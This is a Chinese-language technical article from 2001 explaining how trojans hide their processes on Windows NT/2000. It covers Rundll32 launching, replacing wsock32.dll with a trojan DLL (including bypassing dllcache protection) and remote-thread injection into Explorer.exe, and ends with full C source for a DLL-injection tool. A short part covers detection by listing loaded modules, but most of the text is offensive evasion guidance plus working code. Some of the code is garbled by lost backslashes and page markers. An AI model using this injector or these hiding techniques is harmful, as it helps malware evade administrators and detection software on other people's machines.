在WIN9X中，只需要將進程注冊為系統(tǒng)服務就能夠從進程查看器中隱形，可是這一切在WINNT中卻完全不同，無論木馬從端口、啟動文件上如何巧妙地隱藏自己，始終都不能欺騙WINNT的任務管理器，以至于很多的朋友問我：在WINNT下難道木馬真的再也無法隱藏自己的進程了?本文試圖通過探討WINNT中木馬的幾種常用隱藏進程手段，給大家揭示木馬/后門程序在WINNT中進程隱藏的方法和查找的途徑。
我們知道，在WINDOWS系統(tǒng)下，可執(zhí)行文件主要是Exe和Com文件，這兩種文件在運行時都有一個共同點，會生成一個獨立的進程，查找特定進程是我們發(fā)現(xiàn)木馬的主要方法之一(無論手動還是防火墻)，隨著入侵檢測軟件的不斷發(fā)展，關(guān)聯(lián)進程和SOCKET已經(jīng)成為流行的技術(shù)(例如著名的FPort就能夠檢測出任何進程打開的TCP/UDP端口)，假設一個木馬在運行時被檢測軟件同時查出端口和進程，我們基本上認為這個木馬的隱藏已經(jīng)完全失敗(利用心理因素而非技術(shù)手段欺騙用戶的木馬不在我們的討論范圍之內(nèi))。在NT下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的，要想做到木馬的進程隱藏，有兩個辦法，第一是讓系統(tǒng)管理員看不見(或者視而不見)你的進程;第二是不使用進程。
看不見進程的方法就是進行進程欺騙，為了了解如何能使進程看不見，我們首先要了解怎樣能看得見進程：在Windows中有多種方法能夠看到進程的存在：PSAPI(Process Status API)，PDH(Performance Data Helper)，ToolHelp API，如果我們能夠欺騙用戶或入侵檢測軟件用來查看進程的函數(shù)(例如截獲相應的API調(diào)用，替換返回的數(shù)據(jù))，我們就完全能實現(xiàn)進程隱藏，但是一來我們并不知道用戶/入侵檢測軟件使用的是什么方法來查看進程列表，二來如果我們有權(quán)限和技術(shù)實現(xiàn)這樣的欺騙，我們就一定能使用其它的方法更容易的實現(xiàn)進程的隱藏。
第二種方法是不使用進程，不使用進程使用什么?為了弄明白這個問題，我們必須要先了解Windows系統(tǒng)的另一種“可執(zhí)行文件”----DLL，DLL是Dynamic Link Library(動態(tài)鏈接庫)的縮寫，DLL文件是Windows的基礎，因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯，是由多個功能函數(shù)構(gòu)成，它并不能獨立運行，一般都是由進程加載并調(diào)用的。(你你你，你剛剛不是說不用進程了?)別急呀，聽我慢慢道來：因為DLL文件不能獨立運行，所以在進程列表中并不會出現(xiàn)DLL，假設我們編寫了一個木馬DLL，并且通過別的進程來運行它，那么無論是入侵檢測軟件還是進程列表中，都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL，如果那個進程是可信進程，(例如資源管理器Explorer.exe，沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分，也將成為被信賴的一員而為所欲為。
運行DLL文件最簡單的方法是利用Rundll32.exe，Rundll/Rundll32是Windows自帶的動態(tài)鏈接庫工具，可以用來在命令行下執(zhí)行動態(tài)鏈接庫中的某個函數(shù)，其中Rundll是16位而Rundll32是32位的(分別調(diào)用16位和32位的DLL文件)，Rundll32的使用方法如下：
Rundll32.exe DllFileName FuncName
例如我們編寫了一個MyDll.dll，這個動態(tài)鏈接庫中定義了一個MyFunc的函數(shù)，那么，我們通過Rundll32.exe MyDll.dll MyFunc就可以執(zhí)行MyFunc函數(shù)的功能。
如何運行DLL文件和木馬進程的隱藏有什么關(guān)系么?當然有了，假設我們在MyFunc函數(shù)中實現(xiàn)了木馬的功能，那么我們不就可以通過Rundll32來運行這個木馬了么?在系統(tǒng)管理員看來，進程列表中增加的是Rundll32.exe而并不是木馬文件，這樣也算是木馬的一種簡易欺騙和自我保護方法(至少你不能去把Rundll32.exe刪掉吧?)
使用Rundll32的方法進行進程隱藏是簡易的，非常容易被識破。(雖然殺起來會麻煩一點)比較高級的方法是使用特洛伊DLL，特洛伊DLL的工作原理是替換常用的DLL文件，將正常的調(diào)用轉(zhuǎn)發(fā)給原DLL，截獲并處理特定的消息。例如，我們知道WINDOWS的Socket 1.x的函數(shù)都是存放在wsock32.dll中的，那么我們自己寫一個wsock32.dll文件，替換掉原先的wsock32.dll(將原先的DLL文件重命名為wsockold.dll)我們的wsock32.dll只做兩件事，一是如果遇到不認識的調(diào)用，就直接轉(zhuǎn)發(fā)給wsockold.dll(使用函數(shù)轉(zhuǎn)發(fā)器forward);二是遇到特殊的請求(事先約定的)就解碼并處理。這樣理論上只要木馬編寫者通過SOCKET遠程輸入一定的暗號，就可以控制wsock32.dll(木馬DLL)做任何操作。特洛伊DLL技術(shù)是比較古老的技術(shù)，因此微軟也對此做了相當?shù)姆婪叮赪in2K的system32目錄下有一個dllcache的目錄，這個目錄中存放著大量的DLL文件(也包括一些重要的exe文件)，這個是微軟用來保護DLL的法寶，一旦操作系統(tǒng)發(fā)現(xiàn)被保護的DLL文件被篡改(數(shù)字簽名技術(shù))，它就會自動從dllcache中恢復這個文件。雖然說先更改dllcache目錄中的備份再修改DLL文件本身可以繞過這個保護，但是可以想見的是微軟在未來必將更加小心地保護重要的DLL文件，同時特洛伊DLL方法本身有著一些漏洞(例如修復安裝、安裝補丁、檢查數(shù)字簽名等方法都有可能導致特洛伊DLL失效)，所以這個方法也不能算是DLL木馬的最優(yōu)選擇。
DLL木馬的最高境界是動態(tài)嵌入技術(shù)，動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進程中的技術(shù)。理論上來說，在Windows中的每個進程都有自己的私有內(nèi)存空間，別的進程是不允許對這個私有空間進行操作的(私人領(lǐng)地、請勿入內(nèi))，但是實際上，我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。在多種動態(tài)嵌入技術(shù)中(窗口Hook、掛接API、遠程線程)，我最喜歡的是遠程線程技術(shù)(其實、其實我就會這一種……)，下面就為大家介紹一下遠程線程技術(shù)。
遠程線程技術(shù)指的是通過在另一個運行的進程中創(chuàng)建遠程線程的方法進入那個線程的內(nèi)存地址空間。我們知道，在進程中，可以通過CreateThread函數(shù)創(chuàng)建線程，被創(chuàng)建的新線程與主線程(就是進程創(chuàng)建時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道，通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程，被創(chuàng)建的遠程線程同樣可以共享遠程進程(注意：是遠程進程!)的地址空間，所以，實際上，我們通過創(chuàng)建一個遠程線程，進入了遠程進程的內(nèi)存地址空間，也就擁有了那個遠程進程相當多的權(quán)限：例如啟動一個DLL木馬(與進入進程內(nèi)部相比，啟動一個DLL木馬是小意思，實際上我們可以隨意篡改那個進程的數(shù)據(jù))
閑話少說，我們來看代碼：
首先，我們通過OpenProcess 來打開我們試圖嵌入的進程(如果不允許打開，那么嵌入就無法進行了，這往往是由于權(quán)限不夠引起的，例如你試圖打開一個受系統(tǒng)保護的進程)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠程創(chuàng)建線程
PROCESS_VM_OPERATION | //允許遠程VM操作
PROCESS_VM_WRITE, //允許遠程VM寫
FALSE, dwRemoteProcessId );
由于我們后面需要寫入遠程進程的內(nèi)存地址空間并建立遠程線程，所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后，我們可以建立LoadLibraryW這個線程來啟動我們的DLL木馬，LoadLibraryW函數(shù)是在kernel32.dll中定義的，用來加載DLL文件，它只有一個參數(shù)，就是DLL文件的絕對路徑名pszLibFileName，(也就是木馬DLL的全路徑文件名)，但是由于木馬DLL是在遠程進程內(nèi)調(diào)用的，所以我們首先還需要將這個文件名復制到遠程地址空間：(否則遠程線程讀不到這個參數(shù))
//計算DLL路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
//使用VirtualAllocEx函數(shù)在遠程進程的內(nèi)存地址空間分配DLL文件名緩沖區(qū)
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函數(shù)將DLL的路徑名復制到遠程進程的內(nèi)存空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
//計算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
說明一下，上面我們計算的其實是自己這個進程內(nèi)LoadLibraryW的入口地址，但是因為kernel.dll模塊在所有進程內(nèi)的地址都是相同的(屬于內(nèi)核模塊)，所以這個入口地址同樣適用于遠程進程。
OK，萬事俱備，我們通過建立遠程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(我們復制到遠程進程內(nèi)存空間的木馬DLL的全路徑文件名)在遠程進程內(nèi)啟動我們的木馬DLL：
//啟動遠程線程LoadLibraryW，通過遠程線程調(diào)用用戶的DLL文件
hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的遠程進程
NULL, 0,
pfnStartAddr, //LoadLibraryW的入口地址
pszLibFileRemote, //木馬DLL的全路徑文件名
0, NULL);
至此，遠程嵌入順利完成，為了試驗我們的DLL是不是已經(jīng)正常的在遠程線程運行，我編寫了以下的測試DLL，這個DLL什么都不做，僅僅返回所在進程的PID：
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{ char * szProcessId = (char *)malloc(10*sizeof(char));
switch (reason){
case DLL_PROCESS_ATTACH:{
//獲取并顯示當前進程ID
_itoa(GetCurrentProcessId(), szProcessId, 10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
}
default:
return TRUE;
}
}
當我使用RmtDll.exe程序?qū)⑦@個TestDLL.dll嵌入Explorer.exe進程后(PID=1208)，該測試DLL彈出了1208字樣的確認框，證明TestDLL.dll已經(jīng)在Explorer.exe進程內(nèi)正確地運行了。(木馬已經(jīng)成為Explorer.exe的一部分)
DLL木馬的查找：查找DLL木馬的基本思路是擴展進程列表至內(nèi)存模塊列表，內(nèi)存模塊列表將顯示每個進程目前加載/調(diào)用的所有DLL文件，通過這種方法，我們能發(fā)現(xiàn)異常的DLL文件(前提是你對所有進程需要調(diào)用的模塊都很熟悉，天哪，這幾乎是沒有可能的事，要知道隨便哪個進程都會調(diào)用十七八個DLL文件，而Windows更是由數(shù)以千計的DLL所組成的，誰能知道哪個有用哪個沒用?)對此，我寫了一個內(nèi)存模塊查看軟件，在http://www.patching.net/shotgun/ps.zip可以下載，該軟件使用PSAPI，如果是NT4.0，需要PSAPI.dll的支持，所以我把PSAPI.dll也放在了壓縮包里。
進一步想想，用遠程線程技術(shù)啟動木馬DLL還是比較有跡可尋的，如果事先將一段代碼復制進遠程進程的內(nèi)存空間，然后通過遠程線程起動這段代碼，那么，即使遍歷進程內(nèi)存模塊也無濟于事;或者遠程線程切入某個原本就需要進行SOCKET操作的進程(如iExplorer.exe)，對函數(shù)調(diào)用或數(shù)據(jù)進行某些有針對的修改……這樣的木馬并不需要自己打開端口，代碼也只是存在于內(nèi)存中，可以說如羚羊掛角，無跡可尋。
無論是使用特洛伊DLL還是使用遠程線程，都是讓木馬的核心代碼運行于別的進程的內(nèi)存空間，這樣不僅能很好地隱藏自己，也能更好的保護自己。
這個時候，我們可以說已經(jīng)實現(xiàn)了一個真正意義上的木馬，它不僅欺騙、進入你的計算機，甚至進入了用戶進程的內(nèi)部，從某種意義上說，這種木馬已經(jīng)具備了病毒的很多特性，例如隱藏和寄生(和宿主同生共死)，如果有一天，出現(xiàn)了具備所有病毒特性的木馬(不是指蠕蟲，而是傳統(tǒng)意義上的寄生病毒)，我想我并不會感到奇怪，倒會疑問這一天為什么這么遲才到來。
附錄：利用遠程線程技術(shù)嵌入進程的模型源碼：
/////////////////////////////////////////////////////////////////////////////////////////////// //
// Remote DLL For Win2K by Shotgun //
// This Program can inject a DLL into Remote Process //
// //
// Released: [2001.4] //
// Author: [Shotgun] //
// Email: [Shotgun@Xici.Net] //
// Homepage: //
// [http://IT.Xici.Net] //
// [http://WWW.Patching.Net] //
// //
// USAGE: //
// RmtDLL.exe PID[|ProcessName] DLLFullPathName //
// Example: //
// RmtDLL.exe 1024 C:WINNTSystem32MyDLL.dll //
// RmtDLL.exe Explorer.exe C:MyDLL.dll //
// //
///////////////////////////////////////////////////////////////////////////////////////////////
#include[!--empirenews.page--]
#include
#include
#include
DWORD ProcessToPID( char *); //將進程名轉(zhuǎn)換為PID的函數(shù)
void CheckError ( int, int, char *); //出錯處理函數(shù)
void usage ( char *); //使用說明函數(shù)
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//處理命令行參數(shù)
if (argc!=3) usage("Parametes number incorrect!");
else{
//如果輸入的是進程名，則轉(zhuǎn)化為PID
if(isdigit(*argv[1])) dwRemoteProcessId = atoi(argv[1]);
else dwRemoteProcessId = ProcessToPID(argv[1]);
//判斷輸入的DLL文件名是否是絕對路徑
if(strstr(argv[2],":\")!=NULL)
strncpy(argv[2], lpDllFullPathName, MAX_PATH);
else
{ //取得當前目錄，將相對路徑轉(zhuǎn)換成絕對路徑
iReturnCode = GetCurrentDirectory(MAX_PATH, lpDllFullPathName);
CheckError(iReturnCode, 0, "GetCurrentDirectory");
strcat(lpDllFullPathName, "\");
strcat(lpDllFullPathName, argv[2]);
printf("Convert DLL filename to FullPathName:nt%snn",
lpDllFullPathName);
}
//判斷DLL文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName, OF_READ);
CheckError(iReturnCode, HFILE_ERROR, "DLL File not Exist");
//將DLL文件全路徑的ANSI碼轉(zhuǎn)換成UNICODE碼
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//輸出最后的操作參數(shù)
wprintf(L"Will inject %s", pszLibFileName);
printf(" into process:%s PID=%dn", argv[1], dwRemoteProcessId);
}
//打開遠程進程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許創(chuàng)建線程
PROCESS_VM_OPERATION | //允許VM操作
PROCESS_VM_WRITE, //允許VM寫
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//計算DLL路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//將DLL的路徑名復制到遠程進程的內(nèi)存空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//計算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//啟動遠程線程，通過遠程線程調(diào)用用戶的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待遠程線程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清場處理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
}//end of main()
//將進程名轉(zhuǎn)換為PID的函數(shù)
DWORD ProcessToPID(char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";[!--empirenews.page--]
// 計算目前有多少進程, aProcesses[]用來存放有效的進程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) ) return 0;
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍歷所有的進程
for ( i = 0; i < cProcesses; i++ )
{
// 打開特定PID的進程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的進程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//將取得的進程名與輸入的進程名比較，如相同則返回進程PID
if(!_stricmp(szProcessName, InputProcessName)){
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//沒有找到相應的進程名，返回0
CloseHandle( hProcess );
return 0;
}//end of ProcessToPID
//錯誤處理函數(shù)CheckError()
//如果iReturnCode等于iErrorCode,則輸出pErrorMsg并退出
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode) {
printf("%s Error:%dnn", pErrorMsg, GetLastError());
//清場處理
if (pszLibFileRemote != NULL)
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
if (hRemoteThread != NULL) CloseHandle(hRemoteThread );
if (hRemoteProcess!= NULL) CloseHandle(hRemoteProcess);
exit(0);
}
}//end of CheckError()
//使用方法說明函數(shù)usage()
void usage(char * pErrorMsg)
{
printf("%snn",pErrorMsg);
printf("ttRemote Process DLL by Shotgunn");
printf("tThis program can inject a DLL into remote processn");
printf("Email:n");
printf("tShotgun@Xici.Netn");
printf("HomePage:n");
printf("thttp://It.Xici.Netn");
printf("thttp://www.Patching.Netn");
printf("USAGE:n");
printf("tRmtDLL.exe PID[|ProcessName] DLLFullPathNamen");
printf("Example:n");
printf("tRmtDLL.exe 1024 C:\WINNT\System32\MyDLL.dlln");
printf("tRmtDLL.exe Explorer.exe C:\MyDLL.dlln");
exit(0);
}//end of usage()
下載文檔
